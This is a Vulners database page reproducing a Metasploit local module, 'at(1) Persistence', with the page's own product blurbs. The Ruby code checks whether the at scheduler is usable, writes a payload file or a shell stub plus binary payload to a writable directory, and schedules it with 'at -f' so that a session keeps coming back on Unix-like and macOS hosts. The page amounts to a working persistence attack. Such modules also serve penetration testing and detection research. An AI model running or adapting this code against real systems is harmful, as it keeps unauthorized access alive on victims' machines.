Lucene search
K

at(1) Persistence

🗓️ 12 Sep 2025 18:53:30Reported by Jon Hart <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 576 Views

Persistence module uses at(1) to schedule jobs with atd on UNIX-like systems; verified on Kali Linux and macOS.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Local::Timespec
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/unix/local/at_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'at(1) Persistence',
        'Description' => %q{
          This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time.  It should work out of the box
          with any UNIX-like operating system with atd running.
          Verified on Kali linux and OSX 13.7.4
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jon Hart <[email protected]>'
        ],
        'Targets' => [['Automatic', {} ]],
        'DefaultTarget' => 0,
        'Platform' => %w[unix linux osx],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
        'References' => [
          ['URL', 'https://linux.die.net/man/1/at'],
          ['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
          ['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
        ],
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
    ])
  end

  def check
    return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
    return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']

    return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'

    # we do a direct test with atq instead of reading at.allow and at.deny
    token = Rex::Text.rand_text_alphanumeric(8)
    if cmd_exec("atq && echo #{token}").include?(token)
      return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
    end

    CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
  end

  def install_persistence
    fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
    payload_path = datastore['WritableDir']
    payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
    payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
    payload_path << payload_name
    vprint_status("Writing payload to #{payload_path}")

    if payload.arch.first == 'cmd'
      upload_and_chmodx(payload_path, payload.encoded)
    else
      # because the payloads contents is imported into the at job, we use a stub to call our payload
      # as it doesn't like binary payloads directly
      payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
      # stub, but keep payload_path name for consistency
      upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
      upload_and_chmodx(payload_path_exe, generate_payload_exe)
      @clean_up_rc << "rm #{payload_path_exe}\n"
    end

    @clean_up_rc << "rm #{payload_path}\n"

    job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
    job_id = job.split(' ')[1]
    print_good("at job created with id: #{job_id}")
    # this won't actually do anything since its not in a shell
    @clean_up_rc << "atrm #{job_id}\n"

    print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
5.9Medium risk
Vulners AI Score5.9
576